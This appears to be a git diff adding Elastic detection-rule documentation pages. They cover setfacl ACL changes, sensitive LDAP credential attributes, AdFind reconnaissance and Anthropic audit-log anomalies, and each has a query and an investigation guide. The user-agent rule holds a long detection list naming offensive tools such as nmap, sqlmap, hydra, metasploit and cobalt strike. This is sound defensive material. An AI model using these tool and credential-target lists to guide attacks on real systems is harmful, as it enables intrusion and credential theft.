diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-access-control-list-modification-via-setfacl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-access-control-list-modification-via-setfacl.asciidoc new file mode 100644 index 0000000000..4aa9761b35 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-access-control-list-modification-via-setfacl.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-36-access-control-list-modification-via-setfacl]] +=== Access Control List Modification via setfacl + +This rule detects Linux Access Control List (ACL) modification via the setfacl command. Attackers may use the setfacl utility to modify file and directory permissions in order to evade detection and maintain persistence on a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.uptycs.com/blog/threat-research-report-team/evasive-techniques-used-by-malicious-linux-shell-scripts + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Access Control List Modification via setfacl* + + +Access Control Lists (ACLs) in Linux enhance file permission management by allowing more granular access control. The `setfacl` command modifies these ACLs, potentially altering who can access or modify files. Adversaries may exploit `setfacl` to stealthily change permissions, evading detection and maintaining persistence. The detection rule identifies suspicious `setfacl` executions, excluding benign patterns, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the setfacl command, focusing on the process.name and event.type fields to ensure the alert is valid. +- Examine the process.command_line to understand the specific ACL modifications attempted and identify any unusual or unauthorized changes. +- Investigate the user account associated with the process execution to determine if the action aligns with their typical behavior or role. +- Check the process's parent process to identify how the setfacl command was initiated and assess if it was part of a legitimate workflow or a potential compromise. +- Correlate the event with other security logs or alerts from the same host to identify any related suspicious activities or patterns that might indicate a broader attack. + + +*False positive analysis* + + +- Routine system maintenance tasks may trigger the rule if they involve legitimate use of setfacl. To manage this, identify and document regular maintenance scripts or processes that use setfacl and create exceptions for these specific command lines. +- Backup operations that restore ACLs using setfacl can be mistaken for suspicious activity. Exclude these by adding exceptions for command lines that match known backup procedures, such as those using the --restore option. +- Automated log management tools might use setfacl to manage permissions on log directories like /var/log/journal/. To prevent false positives, exclude these specific directory paths from triggering the rule. +- Custom applications or services that require dynamic permission changes using setfacl could be flagged. Review these applications and, if deemed safe, add their specific command patterns to the exception list to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or changes. +- Review the process execution logs to identify any unauthorized users or processes that executed the `setfacl` command. +- Revert any unauthorized ACL changes by restoring the original file permissions from a known good backup or configuration. +- Conduct a thorough scan of the system for any additional signs of compromise, such as unauthorized user accounts or unexpected processes. +- Update and patch the system to address any vulnerabilities that may have been exploited to gain access. +- Implement stricter access controls and monitoring on critical systems to detect and prevent unauthorized ACL modifications in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "setfacl" and +not ( + ?process.parent.executable in ( + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/dirsrv/ds_systemd_ask_password_acl", "/usr/lib/systemd/systemd-udevd", + "/usr/bin/udevadm", "/usr/sbin/ds_systemd_ask_password_acl", "/usr/bin/su", "/bin/su" + ) or + process.command_line == "/bin/setfacl --restore=-" or + process.args == "/var/log/journal/" or + process.parent.name in ("stats.pl", "perl", "find") or + ?process.parent.command_line like~ "*ansible*" or + ?process.parent.args == "/opt/audit-log-acl.sh" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-access-to-a-sensitive-ldap-attribute.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-access-to-a-sensitive-ldap-attribute.asciidoc new file mode 100644 index 0000000000..9412e8cf77 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-access-to-a-sensitive-ldap-attribute.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-36-access-to-a-sensitive-ldap-attribute]] +=== Access to a Sensitive LDAP Attribute + +Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as ms-PKI-DPAPIMasterKeys, ms-PKI-AccountCredentials, and msPKI-CredentialRoamingTokens. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/apt29-windows-credential-roaming +* https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx +* https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 122 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Access to a Sensitive LDAP Attribute* + + +LDAP (Lightweight Directory Access Protocol) is crucial for accessing and managing directory information in Active Directory environments. Adversaries may exploit LDAP to access sensitive attributes like passwords and decryption keys, facilitating credential theft or privilege escalation. The detection rule identifies unauthorized access attempts by monitoring specific event codes and attribute identifiers, excluding benign activities to reduce noise, thus highlighting potential security threats. + + +*Possible investigation steps* + + +- Review the event logs for event code 4662 to identify the specific user or process attempting to access the sensitive LDAP attributes. +- Check the winlog.event_data.SubjectUserSid to determine the identity of the user or service account involved in the access attempt, excluding the well-known SID S-1-5-18 (Local System). +- Analyze the winlog.event_data.Properties field to confirm which sensitive attribute was accessed, such as ms-PKI-DPAPIMasterKeys, ms-PKI-AccountCredentials, or msPKI-CredentialRoamingTokens. +- Investigate the context of the access attempt by correlating the event with other logs or alerts around the same timestamp to identify any suspicious patterns or activities. +- Verify the legitimacy of the access by checking if the user or process has a valid reason or permission to access the sensitive attributes, considering the organization's access control policies. +- Assess the potential impact of the access attempt on the organization's security posture, focusing on credential theft or privilege escalation risks. +- Document findings and, if necessary, escalate the incident to the appropriate security team for further action or remediation. + + +*False positive analysis* + + +- Access by legitimate administrative accounts: Regular access by system administrators to sensitive LDAP attributes can trigger alerts. To manage this, create exceptions for known administrative accounts by excluding their SIDs from the detection rule. +- Scheduled system processes: Automated tasks or system processes that require access to certain LDAP attributes may cause false positives. Identify these processes and exclude their specific event codes or AccessMasks if they are consistently benign. +- Service accounts: Service accounts that perform routine directory operations might access sensitive attributes as part of their normal function. Exclude these accounts by adding their SIDs to the exception list to prevent unnecessary alerts. +- Monitoring tools: Security or monitoring tools that scan directory attributes for compliance or auditing purposes can generate false positives. Whitelist these tools by excluding their event sources or specific actions from the detection criteria. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of the access logs to identify any unauthorized users or systems that accessed the sensitive LDAP attributes. +- Reset passwords and revoke any potentially compromised credentials associated with the affected accounts, focusing on those with access to sensitive attributes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activities or attempts to access sensitive LDAP attributes. +- Review and update access controls and permissions for sensitive LDAP attributes to ensure they are restricted to only necessary personnel. +- Conduct a post-incident analysis to identify any gaps in security controls and update policies or procedures to prevent similar incidents in the future. + +==== Setup + + + +*Setup* + + +Audit Directory Service Access must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-access + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code == "4662" and + + winlog.event_data.AccessMask in ("0x10") and + + not winlog.event_data.SubjectUserSid : "S-1-5-18" and + + winlog.event_data.Properties : ( + /* ms-PKI-AccountCredentials */ + "*b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7*", + + /* ms-PKI-DPAPIMasterKeys */ + "*b3f93023-9239-4f7c-b99c-6745d87adbc2*", + + /* msPKI-CredentialRoamingTokens */ + "*b7ff5a38-0818-42b0-8110-d3d154c97f24*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-adfind-command-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-adfind-command-activity.asciidoc new file mode 100644 index 0000000000..519fe65f11 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-adfind-command-activity.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-36-adfind-command-activity]] +=== AdFind Command Activity + +This rule detects the Active Directory query tool, AdFind.exe. AdFind has legitimate purposes, but it is frequently leveraged by threat actors to perform post-exploitation Active Directory reconnaissance. The AdFind tool has been observed in Trickbot, Ryuk, Maze, and FIN6 campaigns. For Winlogbeat, this rule requires Sysmon. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://www.joeware.net/freetools/tools/adfind/ +* https://thedfirreport.com/2020/05/08/adfind-recon/ +* https://web.archive.org/web/20260630164654/https://www.cybereason.com/blog/research/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware +* https://cloud.google.com/blog/topics/threat-intelligence/tactics-techniques-procedures-associated-with-maze-ransomware-incidents +* https://cloud.google.com/blog/topics/threat-intelligence/pick-six-intercepting-a-fin6-intrusion +* https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 321 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AdFind Command Activity* + + +http://www.joeware.net/freetools/tools/adfind/[AdFind] is a freely available command-line tool used to retrieve information from Active Directory (AD). Network discovery and enumeration tools like `AdFind` are useful to adversaries in the same ways they are effective for network administrators. This tool provides quick ability to scope AD person/computer objects and understand subnets and domain information. There are many https://thedfirreport.com/category/adfind/[examples] of this tool being adopted by ransomware and criminal groups and used in compromises. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line to determine what information was retrieved by the tool. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- This rule has a high chance to produce false positives as it is a legitimate tool used by network administrators. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Malicious behavior with `AdFind` should be investigated as part of a step within an attack chain. It doesn't happen in isolation, so reviewing previous logs/activity from impacted machines can be very telling. + + +*Related rules* + + +- Windows Network Enumeration - 7b8bfc26-81d2-435e-965c-d722ee397ef1 +- Enumeration of Administrator Accounts - 871ea072-1b71-4def-b016-6278b505138d +- Enumeration Command Spawned via WMIPrvSE - 770e0c4d-b998-41e5-a62e-c7901fd7f470 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "AdFind*.exe" or ?process.pe.original_file_name == "AdFind.exe") and + process.args : ("objectcategory=computer", "(objectcategory=computer)", + "objectcategory=person", "(objectcategory=person)", + "objectcategory=subnet", "(objectcategory=subnet)", + "objectcategory=group", "(objectcategory=group)", + "objectcategory=organizationalunit", "(objectcategory=organizationalunit)", + "objectcategory=attributeschema", "(objectcategory=attributeschema)", + "domainlist", "dcmodes", "adinfo", "dclist", "computers_pwnotreqd", "trustdmp") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-activity-from-a-suspicious-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-activity-from-a-suspicious-user-agent.asciidoc new file mode 100644 index 0000000000..e819ce3710 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-activity-from-a-suspicious-user-agent.asciidoc @@ -0,0 +1,225 @@ +[[prebuilt-rule-8-19-36-anthropic-activity-from-a-suspicious-user-agent]] +=== Anthropic Activity from a Suspicious User Agent + +Detects successful Anthropic audit activity where the user agent matches scripting HTTP clients, offensive scanners, or automation libraries (for example curl, python-requests, Go-http-client, axios, nuclei). Browser and first-party Claude clients normally present recognizable browser or product user agents; raw HTTP library agents on successful control-plane or product activity often indicate scripted access, stolen-session reuse, or unauthorized automation. Known benign automation patterns (axios or Go HTTP clients on file upload/delete, trusted device enrollment, and environment creation) are excluded. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Command and Control +* Mitre Atlas: AML.T0012 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Activity from a Suspicious User Agent* + + +Successful Anthropic audit events normally come from browser or first-party Claude clients. This rule flags scripting +HTTP clients, scanners, or automation libraries on successful activity. UAs are spoofable — corroborate with actor, +IP, and `event.action`. + +Benign automation using axios or Go HTTP clients is already excluded for `platform_file_uploaded`, +`platform_file_deleted`, `claude_file_uploaded`, `trusted_device_enrolled`, and `environment_created`. + +Unauthorized / escalate when a normally browser-bound user suddenly uses curl/python/Go-http-client on privileged +actions (IAM, exports, SSO, keys). Close as FP for approved SDK/CI identities on expected actions. + + +*Possible investigation steps* + + +- Compare `user_agent.original` and `event.action` to the user's baseline. A shift to curl, python-requests, or + Go-http-client on admin/export actions is higher priority than the same UA on already-allowlisted file ops. +- Branch `anthropic.audit.actor.type` and check `user.email` / `source.ip` against approved automation inventory. +- Pivot the same email/IP for auth failures, impossible travel, role changes, exports, or compliance logging changes. + + +*False positive analysis* + + +- Internal GenAI SDKs (`openai*`, `anthropic-sdk*`, `langchain*`) and CI jobs match — exclude stable identities, not + entire UA families. Extend the Go/axios action allowlist only with evidence of additional benign actions. + + +*Response and remediation* + + +- On unauthorized scripting access: revoke sessions, rotate credentials/MFA, review admin/export activity around the + alert, and hunt other scripting-UA activity from the same IP or email. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + event.outcome == "success" and + source.ip is not null and + source.ip != "0.0.0.0" and + user.email is not null and + user_agent.original is not null +| eval Esql.ua_lower = to_lower(user_agent.original) +| where + ( + Esql.ua_lower like "curl*" or + Esql.ua_lower like "python*" or + Esql.ua_lower like "wget*" or + Esql.ua_lower like "go-http*" or + Esql.ua_lower like "perl*" or + Esql.ua_lower like "libwww-perl*" or + Esql.ua_lower like "java*" or + Esql.ua_lower like "node*" or + Esql.ua_lower like "php*" or + Esql.ua_lower like "guzzle*" or + Esql.ua_lower like "bun*" or + Esql.ua_lower like "axios*" or + Esql.ua_lower like "undici*" or + Esql.ua_lower like "okhttp*" or + Esql.ua_lower like "apache-httpclient*" or + Esql.ua_lower like "httpclient*" or + Esql.ua_lower like "httpie*" or + Esql.ua_lower like "ruby*" or + Esql.ua_lower like "postmanruntime*" or + Esql.ua_lower like "restsharp*" or + Esql.ua_lower like "*kali*" or + Esql.ua_lower like "*parrot*" or + Esql.ua_lower like "*pentoo*" or + Esql.ua_lower like "*backbox*" or + Esql.ua_lower like "*blackarch*" or + Esql.ua_lower like "scrapy*" or + Esql.ua_lower like "mechanize*" or + Esql.ua_lower like "aiohttp*" or + Esql.ua_lower like "httpx*" or + Esql.ua_lower like "requests*" or + Esql.ua_lower like "pycurl*" or + Esql.ua_lower like "urllib*" or + Esql.ua_lower like "got/*" or + Esql.ua_lower like "node-fetch*" or + Esql.ua_lower like "superagent*" or + Esql.ua_lower like "ky/*" or + Esql.ua_lower like "fetch*" or + Esql.ua_lower like "deno*" or + Esql.ua_lower like "powershell*" or + Esql.ua_lower like "invoke-webrequest*" or + Esql.ua_lower like "windowspowershell*" or + Esql.ua_lower like "wget2*" or + Esql.ua_lower like "aria2*" or + Esql.ua_lower like "httrack*" or + Esql.ua_lower like "nikto*" or + Esql.ua_lower like "sqlmap*" or + Esql.ua_lower like "nmap*" or + Esql.ua_lower like "masscan*" or + Esql.ua_lower like "zgrab*" or + Esql.ua_lower like "nuclei*" or + Esql.ua_lower like "dirbuster*" or + Esql.ua_lower like "gobuster*" or + Esql.ua_lower like "ffuf*" or + Esql.ua_lower like "feroxbuster*" or + Esql.ua_lower like "wfuzz*" or + Esql.ua_lower like "burpsuite*" or + Esql.ua_lower like "hydra*" or + Esql.ua_lower like "metasploit*" or + Esql.ua_lower like "*havoc*" or + Esql.ua_lower like "*sliver*" or + Esql.ua_lower like "*cobalt strike*" or + Esql.ua_lower like "dart*" or + Esql.ua_lower like "rector*" or + Esql.ua_lower like "ruby-faraday*" or + Esql.ua_lower like "httparty*" or + Esql.ua_lower like "clj-http*" or + Esql.ua_lower like "hackney*" or + Esql.ua_lower like "elixir*" or + Esql.ua_lower like "swift-nio*" or + Esql.ua_lower like "vapor*" or + Esql.ua_lower like "rust*" or + Esql.ua_lower like "reqwest*" or + Esql.ua_lower like "ureq*" or + Esql.ua_lower like "hyper/*" or + Esql.ua_lower like "cohere-go*" or + Esql.ua_lower like "openai*" or + Esql.ua_lower like "anthropic-sdk*" or + Esql.ua_lower like "langchain*" or + Esql.ua_lower like "llamaindex*" or + Esql.ua_lower like "litellm*" or + Esql.ua_lower like "dspy*" or + Esql.ua_lower like "*zgrab*" or + Esql.ua_lower like "*masscan*" or + Esql.ua_lower like "*nessus*" or + Esql.ua_lower like "*shodan*" or + Esql.ua_lower like "*censys*" or + Esql.ua_lower like "*binaryedge*" or + Esql.ua_lower like "*internetmeasurement*" or + Esql.ua_lower like "*internetcensus*" or + Esql.ua_lower like "*shadowserver*" or + Esql.ua_lower like "*stretchoid*" or + Esql.ua_lower like "*http.rb*" + ) and + not ( + event.action in ( + "platform_file_deleted", + "platform_file_uploaded", + "claude_file_uploaded", + "trusted_device_enrolled", + "environment_created" + ) and + (Esql.ua_lower like "go-http*" or Esql.ua_lower like "axios*") + ) +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.*, Esql.ua_lower + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-admin-api-key-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-admin-api-key-deleted.asciidoc new file mode 100644 index 0000000000..a152f2f5e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-admin-api-key-deleted.asciidoc @@ -0,0 +1,109 @@ +[[prebuilt-rule-8-19-36-anthropic-admin-api-key-deleted]] +=== Anthropic Admin API Key Deleted + +Admin API keys grant programmatic access to organization and compliance APIs. An attacker can delete legitimate admin API keys to break security monitoring or integrations, or to cover tracks after creating replacement credentials they control. Deletion without a nearby rotation event points more at sabotage than routine key hygiene. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Domain: Identity +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Impact + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Admin API Key Deleted* + + +Deleting an admin API key can break Fleet/compliance ingestion or admin automation — or remove a defender-owned key +after an attacker creates a replacement they control. + +Unauthorized = deletion without a matching nearby `admin_api_key_created` (rotation) or decommission ticket, or +deletion by an unexpected actor paired with logging disablement / exports / SSO changes. + + +*Possible investigation steps* + + +- Note deleted `anthropic.audit.admin_api_key_id` and actor. For `user_actor`, validate admin identity (email/IP/UA). + For `admin_api_key_actor`, check whether the deleting key (`actor.admin_api_key_id`) was itself recently created. +- Distinguish rotation (create+delete same window, same actor) from standalone deletion. +- Check whether Fleet/compliance ingestion stopped after the delete; correlate with compliance logging changes, + exports, or SSO modifications. + + +*False positive analysis* + + +- Scheduled rotation pairs delete with create during maintenance — ticket + sibling create event closes as FP. + + +*Response and remediation* + + +- On unauthorized deletion: restore required integrations with new keys, verify audit ingestion, and review other + admin changes by the same actor in the exposure window. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "iam") and + event.action == "admin_api_key_deleted" +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-admin-role-assigned-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-admin-role-assigned-to-user.asciidoc new file mode 100644 index 0000000000..dd60dc1bc2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-admin-role-assigned-to-user.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-36-anthropic-admin-role-assigned-to-user]] +=== Anthropic Admin Role Assigned to User + +The organization admin role controls organization settings, integrations, membership, and security configuration in Anthropic Claude for Enterprise. Membership role changes are reported as `claude_user_role_updated` with `anthropic.audit.current_role`. An attacker can promote a compromised or newly invited account to org admin to turn initial access into durable control-plane access. From admin, they can disable SSO, mint admin API keys for automation, start data exports, and weaken audit logging. Workspace-scoped `role_assignment_granted` grants (for example bare `admin` on a workspace) are out of scope for this rule. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* 